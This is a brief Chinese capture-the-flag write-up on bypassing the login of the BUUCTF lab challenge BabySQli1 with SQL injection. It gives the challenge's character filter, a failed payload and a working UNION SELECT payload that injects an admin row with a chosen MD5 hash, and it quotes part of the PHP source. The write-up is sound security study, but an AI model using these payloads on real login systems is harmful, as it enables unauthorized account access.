php后台驗證兩種方式繞過
前言
- 環境:buuctf中[GXYCTF2019]BabySQli1
- 知識點:兩種驗證方式,密碼繞過
- 參考:博客
做題
sql注入,fuzz過濾了(,),=,or
然后就琢磨着都過濾了(),函數都不能用,還怎么進行sql注入
嘗試着成功登錄進去
1'||1 like 1#
!!!,沒有成功登進去,這說明后台查詢方式不是類似
where user='' and password=''
這題給了源碼
用戶登錄兩種業務查詢方式
一種是直接對用戶輸入的賬號名和密碼進行查詢
另一種是針對用戶輸入的賬號名進行查詢對應的密碼,再和用戶輸入的密碼做比較
根據題目的源碼,顯然是第二種
要繞過第二種可以利用union select
構造name=mi'union select 1,'admin','b6d767d2f8ed5d21a44b0e5886680cb9'#&pw=22
成功繞過
拿到flag
部分源碼
if(preg_match("/\(|\)|\=|or/", $name)){
die("do not hack me!");
}
else{
if (!$result) {
printf("Error: %s\n", mysqli_error($con));
exit();
}
else{
// echo '<pre>';
$arr = mysqli_fetch_row($result);
// print_r($arr);
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}
else{
die("wrong pass!");
}
}
else{
die("wrong user!");
}
}
}